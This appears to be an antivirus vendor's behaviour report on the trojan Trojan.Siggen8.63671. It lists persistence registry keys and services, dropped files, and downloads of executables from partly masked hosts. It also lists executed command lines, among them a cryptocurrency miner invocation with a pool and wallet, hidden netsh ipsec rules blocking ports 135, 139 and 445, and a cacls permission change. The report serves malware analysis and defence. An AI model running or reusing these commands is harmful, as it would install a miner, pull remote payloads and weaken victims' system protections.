Trojan.Siggen8.63671

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\SYSTEM\CurrentControlSet\Control\Print\Monitors\RunDllExe] 'Driver' = '%WINDIR%\Logs\RunDllExe.dll'

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\Spooler] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\KuGouMusic] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\KuGouMusic] 'ImagePath' = '%WINDIR%\Help\Winlogon.exe'
[<HKLM>\System\CurrentControlSet\Services\PolicyAgent] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\KillProcc] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\KillProcc] 'ImagePath' = '%WINDIR%\Cursors\KillProcc.sys'

Malicious functions

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

<Current directory>\mssqls.exe
%WINDIR%\cursors\killprocc.sys
<Current directory>\ms19_.exe
%WINDIR%\cursors\wudfhosts.exe
%WINDIR%\help\active_desktop_render.dll
%WINDIR%\help\winlogon.exe
<Current directory>\x64.exe
<Current directory>\windows\system32\tapi3.dll
<Current directory>\output.tlb
<Current directory>\aaaaaaaaaaaaaaaaaaaaaaaa
%WINDIR%\syswow64\x64.exe
<Current directory>\run.sct
<Current directory>\ms18.exe
%WINDIR%\logs\rundllexe_new
%WINDIR%\logs\rundllexe_new.dll
<Current directory>\ms17.exe
<Current directory>\ms15.exe
%WINDIR%\mpmgsvc.dll
%WINDIR%\logs\rundllexe.dll
%WINDIR%\logs\rundllexe
%WINDIR%\logs\rundllexe.exe
<Current directory>\ms19.exe
%WINDIR%\help\active_desktop_render_new.dll

Deletes the following files

%WINDIR%\logs\rundllexe_new.dll
%WINDIR%\logs\rundllexe_new
<Current directory>\windows\system32\tapi3.dll
<Current directory>\run.sct
<Current directory>\output.tlb
<Current directory>\ms15.exe
<Current directory>\ms17.exe
<Current directory>\ms18.exe
<Current directory>\ms19.exe
%WINDIR%\cursors\killprocc.sys
<Current directory>\x64.exe
%WINDIR%\help\active_desktop_render.dll

Substitutes the following files

%WINDIR%\logs\rundllexe_new.dll
%WINDIR%\logs\rundllexe_new
<Current directory>\x64.exe
%WINDIR%\help\active_desktop_render.dll

Network activity

TCP

HTTP GET requests

http://sq#.#i7i.com/MSSQL.exe
http://4i##.com/11.exe
http://sq#.#i7i.com/MS19.exe
http://22##h.com/Update.txt

'po##.#sa-138.com':80

UDP

DNS ASK sq#.#i7i.com
DNS ASK 4i##.com
DNS ASK ss#.#2ssh.com
DNS ASK 22##h.com
DNS ASK po##.#sa-138.com

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: 'DDEServerPoc'
ClassName: '' WindowName: 'DDEClientPoc'
ClassName: 'NDDEAgnt' WindowName: 'NetDDE Agent'

Creates and executes the following

'<Current directory>\mssqls.exe'
'<Current directory>\ms19.exe' -l 6666 -p MSSQLS.exe -t *
'<Current directory>\ms19_.exe' DDEServer
'<Current directory>\ms19_.exe'
'<Current directory>\ms19_.exe' DDEClient
'<Current directory>\ms17.exe' 1
'%WINDIR%\help\winlogon.exe'
'<Current directory>\x64.exe'
'<Current directory>\ms18.exe' MSSQLS.exe
'<Current directory>\ms15.exe' MSSQLS.exe
'%WINDIR%\cursors\wudfhosts.exe' -o stratum+tcp://pool.usa-138.com:80 -u 4B7yFmYw2qvEtWZDDnZVeY16HHpwTtuYBg6EMn5xdDbM3ggSEnQFDWDHH6cqdEYaPx4iQvAwLNu8NLc21QxDU84GGxZEY7S -p x
'%WINDIR%\logs\rundllexe.exe'
'<Current directory>\ms17.exe'
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static set policy name=Block assign=y' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static add filteraction name=FilteraAtion1 action=block' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c del "<Current directory>\x64.exe"' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP' (with hidden window)
'%WINDIR%\syswow64\cacls.exe' %WINDIR%\Fonts\*.exe /e /d system' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static add filterlist name=Filter1' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static add policy name=Block' (with hidden window)
'<Current directory>\x64.exe' ' (with hidden window)
'<Current directory>\mssqls.exe' ' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP' (with hidden window)
'%WINDIR%\cursors\wudfhosts.exe' -o stratum+tcp://pool.usa-138.com:80 -u 4B7yFmYw2qvEtWZDDnZVeY16HHpwTtuYBg6EMn5xdDbM3ggSEnQFDWDHH6cqdEYaPx4iQvAwLNu8NLc21QxDU84GGxZEY7S -p x' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1' (with hidden window)
'%WINDIR%\syswow64\werfault.exe' -u -p 2724 -s 212' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cacls.exe' %WINDIR%\Fonts\*.exe /e /d system
'%WINDIR%\syswow64\svchost.exe'
'<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "<Current directory>\ms19.exe"
'%WINDIR%\syswow64\netsh.exe' ipsec static add policy name=Block
'%WINDIR%\syswow64\netsh.exe' ipsec static add filterlist name=Filter1
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
'%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
'%WINDIR%\syswow64\netsh.exe' ipsec static add filteraction name=FilteraAtion1 action=block
'%WINDIR%\syswow64\netsh.exe' ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1
'%WINDIR%\syswow64\netsh.exe' ipsec static set policy name=Block assign=y
'%WINDIR%\syswow64\cmd.exe' /c del "<Current directory>\x64.exe"

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial